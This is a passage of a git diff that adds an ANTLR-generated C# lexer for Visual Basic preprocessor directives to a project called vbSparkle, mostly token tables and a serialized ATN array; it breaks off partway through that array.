implementation does nothing. + public virtual void EnterEveryRule([NotNull] ParserRuleContext context) { } + /// + /// The default implementation does nothing. + public virtual void ExitEveryRule([NotNull] ParserRuleContext context) { } + /// + /// The default implementation does nothing. + public virtual void VisitTerminal([NotNull] ITerminalNode node) { } + /// + /// The default implementation does nothing. + public virtual void VisitErrorNode([NotNull] IErrorNode node) { } +} diff --git a/Sources/vbSparkle/VBPreprocessorsLexer.cs b/Sources/vbSparkle/VBPreprocessorsLexer.cs new file mode 100644 index 0000000..7d9845c --- /dev/null +++ b/Sources/vbSparkle/VBPreprocessorsLexer.cs @@ -0,0 +1,377 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// ANTLR Version: 4.13.1 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +// Generated from VBPreprocessors.g4 by ANTLR 4.13.1 + +// Unreachable code detected +#pragma warning disable 0162 +// The variable '...' is assigned but its value is never used +#pragma warning disable 0219 +// Missing XML comment for publicly visible type or member '...' +#pragma warning disable 1591 +// Ambiguous reference in cref attribute +#pragma warning disable 419 + +using System; +using System.IO; +using System.Text; +using Antlr4.Runtime; +using Antlr4.Runtime.Atn; +using Antlr4.Runtime.Misc; +using DFA = Antlr4.Runtime.Dfa.DFA; + +[System.CodeDom.Compiler.GeneratedCode("ANTLR", "4.13.1")] +[System.CLSCompliant(false)] +public partial class VBPreprocessorsLexer : Lexer { + protected static DFA[] decisionToDFA; + protected static PredictionContextCache sharedContextCache = new PredictionContextCache(); + public const int + MACRO_CONST=1, AND=2, ATTRIBUTE=3, BEGIN=4, BEGINPROPERTY=5, CLASS=6, + CONST=7, ELSE=8, ELSEIF=9, END_IF=10, END=11, ENDPROPERTY=12, EQV=13, + FALSE=14, IF=15, IMP=16, IS=17, LIKE=18, MACRO_IF=19, MACRO_ELSEIF=20, + MACRO_ELSE=21, MACRO_END_IF=22, MOD=23, NOT=24, NOTHING=25, NULL=26, OBJECT=27, + OR=28, THEN=29, TRUE=30, VERSION=31, XOR=32, AMPERSAND=33, AT=34, COMMA=35, + DIV=36, DOT=37, EQ=38, EXCLAMATIONMARK=39, GEQ=40, GT=41, HASH=42, LEQ=43, + LBRACE=44, LPAREN=45, LT=46, MINUS=47, MULT=48, NEQ=49, PLUS=50, POW=51, + RBRACE=52, RPAREN=53, SEMICOLON=54, L_SQUARE_BRACKET=55, R_SQUARE_BRACKET=56, + STRINGLITERAL=57, DATELITERAL=58, HEXLITERAL=59, INTEGERLITERAL=60, DOUBLELITERAL=61, + FILENUMBER=62, OCTALLITERAL=63, GUID=64, NEWLINE=65, IDENTIFIER=66, COMMENT=67, + LINE_CONTINUATION=68, WS=69, ANYCHAR=70, REM=71, LABEL_L=72; + public static string[] channelNames = { + "DEFAULT_TOKEN_CHANNEL", "HIDDEN" + }; + + public static string[] modeNames = { + "DEFAULT_MODE" + }; + + public static readonly string[] ruleNames = { + "MACRO_CONST", "DOUBLE_DOT", "NL", "AND", "ATTRIBUTE", "BEGIN", "BEGINPROPERTY", + "CLASS", "CONST", "ELSE", "ELSEIF", "END_IF", "END", "ENDPROPERTY", "EQV", + "FALSE", "IF", "IMP", "IS", "LIKE", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", + "MACRO_END_IF", "MOD", "NOT", "NOTHING", "NULL", "OBJECT", "OR", "THEN", + "TRUE", "VERSION", "XOR", "AMPERSAND", "AT", "COMMA", "DIV", "DOT", "EQ", + "EXCLAMATIONMARK", "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", + "MINUS", "MULT", "NEQ", "PLUS", "POW", "RBRACE", "RPAREN", "SEMICOLON", + "L_SQUARE_BRACKET", "R_SQUARE_BRACKET", "STRINGLITERAL", "DATELITERAL", + "HEXLITERAL", "INTEGERLITERAL", "DOUBLELITERAL", "FILENUMBER", "OCTALLITERAL", + "GUID", "NEWLINE", "IDENTIFIER", "COMMENT", "LINE_CONTINUATION", "WS", + "ANYCHAR", "REM", "LABEL_L", "LETTER", "LETTERORDIGIT", "A", "B", "C", + "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", + "R", "S", "T", "U", "V", "W", "X", "Y", "Z" + }; + + + public VBPreprocessorsLexer(ICharStream input) + : this(input, Console.Out, Console.Error) { } + + public VBPreprocessorsLexer(ICharStream input, TextWriter output, TextWriter errorOutput) + : base(input, output, errorOutput) + { + Interpreter = new LexerATNSimulator(this, _ATN, decisionToDFA, sharedContextCache); + } + + private static readonly string[] _LiteralNames = { + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, null, null, null, + null, null, null, null, null, null, null, null, null, "'&'", "'@'", "','", + null, "'.'", "'='", "'!'", "'>='", "'>'", "'#'", "'<='", "'{'", "'('", + "'<'", "'-'", "'*'", "'<>'", "'+'", "'^'", "'}'", "')'", "';'", "'['", + "']'" + }; + private static readonly string[] _SymbolicNames = { + null, "MACRO_CONST", "AND", "ATTRIBUTE", "BEGIN", "BEGINPROPERTY", "CLASS", + "CONST", "ELSE", "ELSEIF", "END_IF", "END", "ENDPROPERTY", "EQV", "FALSE", + "IF", "IMP", "IS", "LIKE", "MACRO_IF", "MACRO_ELSEIF", "MACRO_ELSE", "MACRO_END_IF", + "MOD", "NOT", "NOTHING", "NULL", "OBJECT", "OR", "THEN", "TRUE", "VERSION", + "XOR", "AMPERSAND", "AT", "COMMA", "DIV", "DOT", "EQ", "EXCLAMATIONMARK", + "GEQ", "GT", "HASH", "LEQ", "LBRACE", "LPAREN", "LT", "MINUS", "MULT", + "NEQ", "PLUS", "POW", "RBRACE", "RPAREN", "SEMICOLON", "L_SQUARE_BRACKET", + "R_SQUARE_BRACKET", "STRINGLITERAL", "DATELITERAL", "HEXLITERAL", "INTEGERLITERAL", + "DOUBLELITERAL", "FILENUMBER", "OCTALLITERAL", "GUID", "NEWLINE", "IDENTIFIER", + "COMMENT", "LINE_CONTINUATION", "WS", "ANYCHAR", "REM", "LABEL_L" + }; + public static readonly IVocabulary DefaultVocabulary = new Vocabulary(_LiteralNames, _SymbolicNames); + + [NotNull] + public override IVocabulary Vocabulary + { + get + { + return DefaultVocabulary; + } + } + + public override string GrammarFileName { get { return "VBPreprocessors.g4"; } } + + public override string[] RuleNames { get { return ruleNames; } } + + public override string[] ChannelNames { get { return channelNames; } } + + public override string[] ModeNames { get { return modeNames; } } + + public override int[] SerializedAtn { get { return _serializedATN; } } + + static VBPreprocessorsLexer() { + decisionToDFA = new DFA[_ATN.NumberOfDecisions]; + for (int i = 0; i < _ATN.NumberOfDecisions; i++) { + decisionToDFA[i] = new DFA(_ATN.GetDecisionState(i), i); + } + } + private static int[] _serializedATN = { + 4,0,72,694,6,-1,2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6,7, + 6,2,7,7,7,2,8,7,8,2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2,14, + 7,14,2,15,7,15,2,16,7,16,2,17,7,17,2,18,7,18,2,19,7,19,2,20,7,20,2,21, + 7,21,2,22,7,22,2,23,7,23,2,24,7,24,2,25,7,25,2,26,7,26,2,27,7,27,2,28, + 7,28,2,29,7,29,2,30,7,30,2,31,7,31,2,32,7,32,2,33,7,33,2,34,7,34,2,35, + 7,35,2,36,7,36,2,37,7,37,2,38,7,38,2,39,7,39,2,40,7,40,2,41,7,41,2,42, + 7,42,2,43,7,43,2,44,7,44,2,45,7,45,2,46,7,46,2,47,7,47,2,48,7,48,2,49, + 7,49,2,50,7,50,2,51,7,51,2,52,7,52,2,53,7,53,2,54,7,54,2,55,7,55,2,56, + 7,56,2,57,7,57,2,58,7,58,2,59,7,59,2,60,7,60,2,61,7,61,2,62,7,62,2,63, + 7,63,2,64,7,64,2,65,7,65,2,66,7,66,2,67,7,67,2,68,7,68,2,69,7,69,2,70, + 7,70,2,71,7,71,2,72,7,72,2,73,7,73,2,74,7,74,2,75,7,75,2,76,7,76,2,77, + 7,77,2,78,7,78,2,79,7,79,2,80,7,80,2,81,7,81,2,82,7,82,2,83,7,83,2,84, + 7,84,2,85,7,85,2,86,7,86,2,87,7,87,2,88,7,88,2,89,7,89,2,90,7,90,2,91, + 7,91,2,92,7,92,2,93,7,93,2,94,7,94,2,95,7,95,2,96,7,96,2,97,7,97,2,98, + 7,98,2,99,7,99,2,100,7,100,2,101,7,101,1,0,1,0,1,0,1,0,1,1,1,1,1,2,3,2, + 213,8,2,1,2,1,2,3,2,217,8,2,1,3,1,3,1,3,1,3,1,4,1,4,1,4,1,4,1,4,1,4,1, + 4,1,4,1,4,1,4,1,5,1,5,1,5,1,5,1,5,1,5,1,6,1,6,1,6,1,6,1,6,1,6,1,6,1,6, + 1,6,1,6,1,6,1,6,1,6,1,6,1,7,1,7,1,7,1,7,1,7,1,7,1,8,1,8,1,8,1,8,1,8,1, + 8,1,9,1,9,1,9,1,9,1,9,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1,11,1,11,1,11, + 1,11,1,11,1,11,1,11,1,12,1,12,1,12,1,12,1,13,1,13,1,13,1,13,1,13,1,13, + 1,13,1,13,1,13,1,13,1,13,1,13,1,14,1,14,1,14,1,14,1,15,1,15,1,15,1,15, + 1,15,1,15,1,16,1,16,1,16,1,17,1,17,1,17,1,17,1,18,1,18,1,18,1,19,1,19, + 1,19,1,19,1,19,1,20,1,20,1,20,1,21,1,21,1,21,1,22,1,22,1,22,1,23,1,23, + 1,23,1,24,1,24,1,24,1,24,1,25,1,25,1,25,1,25,1,26,1,26,1,26,1,26,1,26, + 1,26,1,26,1,26,1,27,1,27,1,27,1,27,1,27,1,28,1,28,1,28,1,28,1,28,1,28, + 1,28,1,29,1,29,1,29,1,30,1,30,1,30,1,30,1,30,1,31,1,31,1,31,1,31,1,31, + 1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,32,1,33,1,33,1,33,1,33,1,34,1,34, + 1,35,1,35,1,36,1,36,1,37,1,37,1,38,1,38,1,39,1,39,1,40,1,40,1,41,1,41, + 1,41,1,42,1,42,1,43,1,43,1,44,1,44,1,44,1,45,1,45,1,46,1,46,1,47,1,47, + 1,48,1,48,1,49,1,49,1,50,1,50,1,50,1,51,1,51,1,52,1,52,1,53,1,53,1,54, + 1,54,1,55,1,55,1,56,1,56,1,57,1,57,1,58,1,58,1,58,1,58,5,58,445,8,58,10, + 58,12,58,448,9,58,1,58,1,58,1,59,1,59,5,59,454,8,59,10,59,12,59,457,9, + 59,1,59,1,59,1,60,1,60,1,60,1,60,3,60,465,8,60,1,60,4,60,468,8,60,11,60, + 12,60,469,1,60,3,60,473,8,60,1,61,4,61,476,8,61,11,61,12,61,477,1,61,1, + 61,5,61,482,8,61,10,61,12,61,485,9,61,1,61,1,61,1,61,1,61,3,61,491,8,61, + 1,62,5,62,494,8,62,10,62,12,62,497,9,62,1,62,1,62,4,62,501,8,62,11,62, + 12,62,502,1,62,1,62,1,62,3,62,508,8,62,1,62,4,62,511,8,62,11,62,12,62, + 512,5,62,515,8,62,10,62,12,62,518,9,62,1,62,1,62,1,62,1,62,3,62,524,8, + 62,1,63,1,63,4,63,528,8,63,11,63,12,63,529,1,64,1,64,1,64,1,64,4,64,536, + 8,64,11,64,12,64,537,1,64,3,64,541,8,64,1,65,1,65,4,65,545,8,65,11,65, + 12,65,546,1,65,1,65,4,65,551,8,65,11,65,12,65,552,1,65,1,65,4,65,557,8, + 65,11,65,12,65,558,1,65,1,65,4,65,563,8,65,11,65,12,65,564,1,65,1,65,4, + 65,569,8,65,11,65,12,65,570,1,65,1,65,1,66,3,66,576,8,66,1,66,1,66,3,66, + 580,8,66,1,67,1,67,5,67,584,8,67,10,67,12,67,587,9,67,1,68,3,68,590,8, + 68,1,68,1,68,3,68,594,8,68,1,68,1,68,1,68,3,68,599,8,68,1,68,1,68,5,68, + 603,8,68,10,68,12,68,606,9,68,1,69,1,69,1,69,3,69,611,8,69,1,69,1,69,1, + 69,1,69,1,70,4,70,618,8,70,11,70,12,70,619,1,71,1,71,1,72,1,72,1,72,1, + 72,1,73,3,73,629,8,73,1,73,1,73,3,73,633,8,73,1,73,1,73,3,73,637,8,73, + 1,74,1,74,1,75,1,75,1,76,1,76,1,77,1,77,1,78,1,78,1,79,1,79,1,80,1,80, + 1,81,1,81,1,82,1,82,1,83,1,83,1,84,1,84,1,85,1,85,1,86,1,86,1,87,1,87, + 1,88,1,88,1,89,1,89,1,90,1,90,1,91,1,91,1,92,1,92,1,93,1,93,1,94,1,94, + 1,95,1,95,1,96,1,96,1,97,1,97,1,98,1,98,1,99,1,99,1,100,1,100,1,101,1, + 101,0,0,102,1,1,3,0,5,0,7,2,9,3,11,4,13,5,15,6,17,7,19,8,21,9,23,10,25, + 11,27,12,29,13,31,14,33,15,35,16,37,17,39,18,41,19,43,20,45,21,47,22,49, + 23,51,24,53,25,55,26,57,27,59,28,61,29,63,30,65,31,67,32,69,33,71,34,73, + 35,75,36,77,37,79,38,81,39,83,40,85,41,87,42,89,43,91,44,93,45,95,46,97, + 47,99,48,101,49,103,50,105,51,107,52,109,53,111,54,113,55,115,56,117,57, + 119,58,121,59,123,60,125,61,127,62,129,63,131,64,133,65,135,66,137,67, + 139,68,141,69,143,70,145,71,147,72,149,0,151,0,153,0,155,0,157,0,159,0, + 161,0,163,0,165,0,167,0,169,0,171,0,173,0,175,0,177,0,179,0,181,0,183, + 0,185,0,187,0,189,0,191,0,193,0,195,0,197,0,199,0,201,0,203,0,1,0,36,1, + 1,13,13,2,0,47,47,92,92,3,0,10,10,13,13,34,34,3,0,10,10,13,13,35,35,2, + 0,48,57,65,70,2,0,69,69,101,101,1,0,48,55,2,0,10,10,13,13,2,0,9,9,32,32, + 24,0,65,90,95,95,97,122,160,164,167,170,172,174,178,182,185,189,195,197, + 225,225,338,339,352,353,381,381,402,402,710,710,8211,8211,8217,8218,8220, + 8222,8225,8226,8240,8240,8250,8250,8364,8364,8482,8482,65533,65533,25, + 0,48,57,65,90,95,95,97,122,160,164,167,170,172,174,178,182,185,189,195, + 197,225,225,338,339,352,353,381,381,402,402,710,710,8211,8211,8217,8218, + 8220,8222,8225,8226,8240,8240,8250,8250,8364,8364,8482,8482,65533,65533, + 2,0,65,65,97,97,2,0,66,66,98,98,2,0,67,67,99,99,2,0,68,68,100,100,2,0, + 70,70,102,102,2,0,71,71,103,103,2,0,72,72,104,104,2,0,73,73,105,105,2, + 0,74,74,106,106,2,0,75,75,107,107,2,0,76,76,108,108,2,0,77,77,109,109, + 2,0,78,78,110,110,2,0,79,79,111,111,2,0,80,80,112,112,2,0,81,81,113,113, + 2,0,82,82,114,114,2,0,83,83,115,115,2,0,84,84,116,116,2,0,85,85,117,117, + 2,0,86,86,118,118,2,0,87,87,119,119,2,0,88,88,120,120,2,0,89,89,121,121, + 2,0,90,90,122,122,708,0,1,1,0,0,0,0,7,1,0,0,0,0,9,1,0,0,0,0,11,1,0,0,0, + 0,13,1,0,0,0,0,15,1,0,0,0,0,17,1,0,0,0,0,19,1,0,0,0,0,21,1,0,0,0,0,23, + 1,0,0,0,0,25,1,0,0,0,0,27,1,0,0,0,0,29,1,0,0,0,0,31,1,0,0,0,0,33,1,0,0, + 0,0,35,1,0,0,0,0,37,1,0,0,0,0,39,1,0,0,0,0,41,1,0,0,0,0,43,1,0,0,0,0,45, + 1,0,0,0,0,47,1,0,0,0,0,49,1,0,0,0,0,51,1,0,0,0,0,53,1,0,0,0,0,55,1,0,0, + 0,0,57,1,0,0,0,0,59,1,0,0,0,0,61,1,0,0,0,0,63,1,0,0,0,0,65,1,0,0,0,0,67, + 1,0,0,0,0,69,1,0,0,0,0,71,1,0,0,0,0,73,1,0,0,0,0,75,1,0,0,0,0,77,1,0,0, + 0,0,79,1,0,0,0,0,81,1,0,0,0,0,83,1,0,0,0,0,85,1,0,0,0,0,87,1,0,0,0,0,89, + 1,0,0,0,0,91,1,0,0,0,0,93,1,0,0,0,0,95,1,0,0,0,0,97,1,0,0,0,0,99,1,0,0, + 0,0,101,1,0,0,0,0,103,1,0,0,0,0,105,1,0,0,0,0,107,1,0,0,0,0,109,1,0,0, + 0,0,111,1,0,0,0,0,113,1,0,0,0,0,115,1,0,0,0,0,117,1,0,0,0,0,119,1,0,0, + 0,0,121,1,0,0,0,0,123,1,0,0,0,0,125,1,0,0,0,0,127,1,0,0,0,0,129,1,0,0, + 0,0,131,1,0,0,0,0,133,1,0,0,0,0,135,1,0,0,0,0,137,1,0,0,0,0,139,1,0,0, + 0,0,141,1,0,0,0,0,143,1,0,0,0,0,145,1,0,0,0,0,147,1,0,0,0,1,205,1,0,0, + 0,3,209,1,0,0,0,5,216,1,0,0,0,7,218,1,0,0,0,9,222,1,0,0,0,11,232,1,0,0, + 0,13,238,1,0,0,0,15,252,1,0,0,0,17,258,1,0,0,0,19,264,1,0,0,0,21,269,1, + 0,0,0,23,276,1,0,0,0,25,283,1,0,0,0,27,287,1,0,0,0,29,299,1,0,0,0,31,303, + 1,0,0,0,33,309,1,0,0,0,35,312,1,0,0,0,37,316,1,0,0,0,39,319,1,0,0,0,41, + 324,1,0,0,0,43,327,1,0,0,0,45,330,1,0,0,0,47,333,1,0,0,0,49,336,1,0,0, + 0,51,340,1,0,0,0,53,344,1,0,0,0,55,352,1,0,0,0,57,357,1,0,0,0,59,364,1, + 0,0,0,61,367,1,0,0,0,63,372,1,0,0,0,65,377,1,0,0,0,67,385,1,0,0,0,69,389, + 1,0,0,0,71,391,1,0,0,0,73,393,1,0,0,0,75,395,1,0,0,0,77,397,1,0,0,0,79, + 399,1,0,0,0,81,401,1,0,0,0,83,403,1,0,0,0,85,406,1,0,0,0,87,408,1,0,0, + 0,89,410,1,0,0,0,91,413,1,0,0,0,93,415,1,0,0,0,95,417,1,0,0,0,97,419,1, + 0,0,0,99,421,1,0,0,0,101,423,1,0,0,0,103,426,1,0,0,0,105,428,1,0,0,0,107, + 430,1,0,0,0,109,432,1,0,0,0,111,434,1,0,0,0,113,436,1,0,0,0,115,438,1, + 0,0,0,117,440,1,0,0,0,119,451,1,0,0,0,121,464,1,0,0,0,123,475,1,0,0,0, + 125,495,1,0,0,0,127,525,1,0,0,0,129,531,1,0,0,0,131,542,1,0,0,0,133,575, + 1,0,0,0,135,581,1,0,0,0,137,589,1,0,0,0,139,607,1,0,0,0,141,617,1,0,0, + 0,143,621,1,0,0,0,145,623,1,0,0,0,147,628,1,0,0,0,149,638,1,0,0,0,151, + 640,1,0,0,0,153,642,1,0,0,0,155,644,1,0,0,0,157,646,1,0,0,0,159,648,1, + 0,0,0,161,650,1,0,0,0,163,652,1,0,0,0,165,654,1,0,0,0,167,656,1,0,0,0, + 169,658,1,0,0,0,171,660,1,0,0,0,173,662,1,0,0,0,175,664,1,0,0,0,177,666, + 1,0,0,0,179,668,1,0,0,0,181,670,1,0,0,0,183,672,1,0,0,0,185,674,1,0,0, + 0,187,676,1,0,0,0,189,678,1,0,0,0,191,680,1,0,0,0,193,682,1,0,0,0,195, + 684,1,0,0,0,197,686,1,0,0,0,199,688,1,0,0,0,201,690,1,0,0,0,203,692,1, + 0,0,0,205,206,3,87,43,0,206,207,3,17,8,0,207,208,3,141,70,0,208,2,1,0, + 0,0,209,210,5,58,0,0,210,4,1,0,0,0,211,213,5,13,0,0,212,211,1,0,0,0,212, + 213,1,0,0,0,213,214,1,0,0,0,214,217,5,10,0,0,215,217,7,0,0,0,216,212,1, + 0,0,0,216,215,1,0,0,0,217,6,1,0,0,0,218,219,3,153,76,0,219,220,3,179,89, + 0,220,221,3,159,79,0,221,8,1,0,0,0,222,223,3,153,76,0,223,224,3,191,95, + 0,224,225,3,191,95,0,225,226,3,187,93,0,226,227,3,169,84,0,227,228,3,155, + 77,0,228,229,3,193,96,0,229,230,3,191,95,0,230,231,3,161,80,0,231,10,1, + 0,0,0,232,233,3,155,77,0,233,234,3,161,80,0,234,235,3,165,82,0,235,236, + 3,169,84,0,236,237,3,179,89,0,237,12,1,0,0,0,238,239,3,155,77,0,239,240, + 3,161,80,0,240,241,3,165,82,0,241,242,3,169,84,0,242,243,3,179,89,0,243, + 244,3,183,91,0,244,245,3,187,93,0,245,246,3,181,90,0,246,247,3,183,91, + 0,247,248,3,161,80,0,248,249,3,187,93,0,249,250,3,191,95,0,250,251,3,201, + 100,0,251,14,1,0,0,0,252,253,3,157,78,0,253,254,3,175,87,0,254,255,3,153, + 76,0,255,256,3,189,94,0,256,257,3,189,94,0,257,16,1,0,0,0,258,259,3,157, + 78,0,259,260,3,181,90,0,260,261,3,179,89,0,261,262,3,189,94,0,262,263, + 3,191,95,0,263,18,1,0,0,0,264,265,3,161,80,0,265,266,3,175,87,0,266,267, + 3,189,94,0,267,268,3,161,80,0,268,20,1,0,0,0,269,270,3,161,80,0,270,271, + 3,175,87,0,271,272,3,189,94,0,272,273,3,161,80,0,273,274,3,169,84,0,274, + 275,3,163,81,0,275,22,1,0,0,0,276,277,3,161,80,0,277,278,3,179,89,0,278, + 279,3,159,79,0,279,280,5,32,0,0,280,281,3,169,84,0,281,282,3,163,81,0, + 282,24,1,0,0,0,283,284,3,161,80,0,284,285,3,179,89,0,285,286,3,159,79, + 0,286,26,1,0,0,0,287,288,3,161,80,0,288,289,3,179,89,0,289,290,3,159,79, + 0,290,291,3,183,91,0,291,292,3,187,93,0,292,293,3,181,90,0,293,294,3,183, + 91,0,294,295,3,161,80,0,295,296,3,187,93,0,296,297,3,191,95,0,297,298, + 3,201,100,0,298,28,1,0,0,0,299,300,3,161,80,0,300,301,3,185,92,0,301,302, + 3,195,97,0,302,30,1,0,0,0,303,304,3,163,81,0,304,305,3,153,76,0,305,306, + 3,175,87,0,306,307,3,189,94,0,307,308,3,161,80,0,308,32,1,0,0,0,309,310, + 3,169,84,0,310,311,3,163,81,0,311,34,1,0,0,0,312,313,3,169,84,0,313,314, + 3,177,88,0,314,315,3,183,91,0,315,36,1,0,0,0,316,317,3,169,84,0,317,318, + 3,189,94,0,318,38,1,0,0,0,319,320,3,175,87,0,320,321,3,169,84,0,321,322, + 3,173,86,0,322,323,3,161,80,0,323,40,1,0,0,0,324,325,3,87,43,0,325,326, + 3,33,16,0,326,42,1,0,0,0,327,328,3,87,43,0,328,329,3,21,10,0,329,44,1, + 0,0,0,330,331,3,87,43,0,331,332,3,19,9,0,332,46,1,0,0,0,333,334,3,87,43, + 0,334,335,3,23,11,0,335,48,1,0,0,0,336,337,3,177,88,0,337,338,3,181,90, + 0,338,339,3,159,79,0,339,50,1,0,0,0,340,341,3,179,89,0,341,342,3,181,90, + 0,342,343,3,191,95,0,343,52,1,0,0,0,344,345,3,179,89,0,345,346,3,181,90, + 0,346,347,3,191,95,0,347,348,3,167,83,0,348,349,3,169,84,0,349,350,3,179, + 89,0,350,351,3,165,82,0,351,54,1,0,0,0,352,353,3,179,89,0,353,354,3,193, + 96,0,354,355,3,175,87,0,355,356,3,175,87,0,356,56,1,0,0,0,357,358,3,181, + 90,0,358,359,3,155,77,0,359,360,3,171,85,0,360,361,3,161,80,0,361,362, + 3,157,78,0,362,363,3,191,95,0,363,58,1,0,0,0,364,365,3,181,90,0,365,366, + 3,187,93,0,366,60,1,0,0,0,367,368,3,191,95,0,368,369,3,167,83,0,369,370, + 3,161,80,0,370,371,3,179,89,0,371,62,1,0,0,0,372,373,3,191,95,0,373,374, + 3,187,93,0,374,375,3,193,96,0,375,376,3,161,80,0,376,64,1,0,0,0,377,378, + 3,195,97,0,378,379,3,161,80,0,379,380,3,187,93,0,380,381,3,189,94,0,381, + 382,3,169,84,0,382,383,3,181,90,0,383,384,3,179,89,0,384,66,1,0,0,0,385, + 386,3,199,99,0,386,387,3,181,90,0,387,388,3,187,93,0,388,68,1,0,0,0,389, + 390,5,38,0,0,390,70,1,0,0,0,391,392,5,64,0,0,392,72,1,0,0,0,393,394,5, + 44,0,0,394,74,1,0,0,0,395,396,7,1,0,0,396,76,1,0,0,0,397,398,5,46,0,0, + 398,78,1,0,0,0,399,400,5,61,0,0,400,80,1,0,0,0,401,402,5,33,0,0,402,82, + 1,0,0,0,403,404,5,62,0,0,404,405,5,61,0,0,405,84,1,0,0,0,406,407,5,62, + 0,0,407,86,1,0,0,0,408,409,5,35,0,0,409,88,1,0,0,0,410,411,5,60,0,0,411, + 412,5,61,0,0,412,90,1,0,0,0,413,414,5,123,0,0,414,92,1,0,0,0,415,416,5, + 40,0,0,416,94,1,0,0,0,417,418,5,60,0,0,418,96,1,0,0,0,419,420,5,45,0,0, + 420,98,1,0,0,0,421,422,5,42,0,0,422,100,1,0,0,0,423,424,5,60,0,0,424,425, + 5,62,0,0,425,102,1,0,0,0,426,427,5,43,0,0,427,104,1,0,0,0,428,429,5,94, + 0,0,429,106,1,0,0,0,430,431,5,125,0,0,431,108,1,0,0,0,432,433,5,41,0,0, + 433,110,1,0,0,0,434,435,5,59,0,0,435,112,1,0,0,0,436,437,5,91,0,0,437, + 114,1,0,0,0,438,439,5,93,0,0,439,116,1,0,0,0,440,446,5,34,0,0,441,445, + 8,2,0,0,442,443,5,34,0,0,443,445,5,34,0,0,444,441,1,0,0,0,444,442,1,0, + 0,0,445,448,1,0,0,0,446,444,1,0,0,0,446,447,1,0,0,0,447,449,1,0,0,0,448, + 446,1,0,0,0,449,450,5,34,0,0,450,118,1,0,0,0,451,455,3,87,43,0,452,454, + 8,3,0,0,453,452,1,0,0,0,454,457,1,0,0,0,455,453,1,0,0,0,455,456,1,0,0, + 0,456,458,1,0,0,0,457,455,1,0,0,0,458,459,3,87,43,0,459,120,1,0,0,0,460, + 461,5,38,0,0,461,465,5,72,0,0,462,463,5,38,0,0,463,465,5,104,0,0,464,460, + 1,0,0,0,464,462,1,0,0,0,465,467,1,0,0,0,466,468,7,4,0,0,467,466,1,0,0, + 0,468,469,1,0,0,0,469,467,1,0,0,0,469,470,1,0,0,0,470,472,1,0,0,0,471, + 473,3,69,34,0,472,471,1,0,0,0,472,473,1,0,0,0,473,122,1,0,0,0,474,476, + 2,48,57,0,475,474,1,0,0,0,476,477,1,0,0,0,477,475,1,0,0,0,477,478,1,0, + 0,0,478,483,1,0,0,0,479,480,7,5,0,0,480,482,3,123,61,0,481,479,1,0,0,0, + 482,485,1,0,0,0,483,481,1,0,0,0,483,484,1,0,0,0,484,490,1,0,0,0,485,483, + 1,0,0,0,486,491,3,87,43,0,487,491,3,69,34,0,488,491,3,81,40,0,489,491, + 3,71,35,0,490,486,1,0,0,0,490,487,1,0,0,0,490,488,1,0,0,0,490,489,1,0, + 0,0,490,491,1,0,0,0,491,124,1,0,0,0,492,494,2,48,57,0,493,492,1,0,0,0, + 494,497,1,0,0,0,495,493,1,0,0,0,495,496,1,0,0,0,496,498,1,0,0,0,497,495, + 1,0,0,0,498,500,3,77,38,0,499,501,2,48,57,0,500,499,1,0,0,0,501,502,1, + 0,0,0,502,500,1,0,0,0,502,503,1,0,0,0,503,516,1,0,0,0,504,507,7,5,0,0, + 505,508,3,103,51,0,506,508,3,97,48,0,507,505,1,0,0,0,507,506,1,0,0,0,507, + 508,1,0,0,0,508,510,1,0,0,0,509,511,2,48,57,0,510,509,1,0,0,0,511,512, + 1,0,0,0,512,510,1,0,0,0,512,513,1,0,0,0,513,515,1,0,0,0,514,504,1,0,0, + 0,515,518,1,0,0,0,516,514,1,0,0,0,516,517,1,0,0,0,517,523,1,0,0,0,518, + 516,1,0,0,0,519,524,3,87,43,0,520,524,3,69,34,0,521,524,3,81,40,0,522, + 524,3,71,35,0,523,519,1,0,0,0,523,520,1,0,0,0,523,521,1,0,0,0,523,522, + 1,0,0,0,523,524,1,0,0,0,524,126,1,0,0,0,525,527,3,87,43,0,526,528,3,151, + 75,0,527,526,1,0,0,0,528,529,1,0,0,0,529,527,1,0,0,0,529,530,1,0,0,0,530, + 128,1,0,0,0,531,532,5,38,0,0,532,533,5,79,0,0,533,535,1,0,0,0,534,536, + 7,6,0,0,535,534,1,0,0,0,536,537,1,0,0,0,537,535,1,0,0,0,537,538,1,0,0, + 0,538,540,1,0,0,0,539,541,3,69,34,0,540,539,1,0,0,0,540,541,1,0,0,0,541, + 130,1,0,0,0,542,544,3,91,45,0,543,545,7,4,0,0,544,543,1,0,0,0,545,546, + 1,0,0,0,546,544,1,0,0,0,546,547,1,0,0,0,547,548,1,0,0,0,548,550,3,97,48, + 0,549,551,7,4,0,0,550,549,1,0,0,0,551,552,1,0,0,0,552,550,1,0,0,0,552, + 553,1,0,0,0,553,554,1,0,0,0,554,556,3,97,48,0,555,557,7,4,0,0,556,555, + 1,0,0,0,557,558,1,0,0,0,558,556,1,0,0,0,558,559,1,0,0,0,559,560,1,0,0, + 0,560,562,3,97,48,0,561,563,7,4,0,0,562,561,1,0,0,0,563,564,1,0,0,0,564, + 562,1,0,0,0,564,565,1,0,0,0,565,566,1,0,0,0,566,568,3,97,48,0,567,569, + 7,4,0,0,568,567,1,0,0,0,569,570,1,0,0,0,570,568,1,0,0,0,570,571,1,0,0, + 0,571,572,1,0,0,0,572,573,3,107,53,0,573,132,1,0,0,0,574,576,3,141,70, + 0,575,574,1,0,0,0,575,576,1,0,0,0,576,577,1,0,0,0,577,579,3,5,2,0,578, + 580,3,141,70,0,579,578,1,0,0,0,579,580,1,0,0,0,580,134,1,0,0,0,581,585, + 3,149,74,0,582,584,3,151,75,0,583,582,1,0,0,0,584,587,1,0,0,0,585,583, + 1,0,0,0,585,586,1,0,0,0,586,136,1,0,0,0,587,585,1,0,0,0,588,590,3,141, + 70,0,589,588,1,0,0,0,589,590,1,0,0,0,590,598,1,0,0,0,591,599,5,39,0,0, + 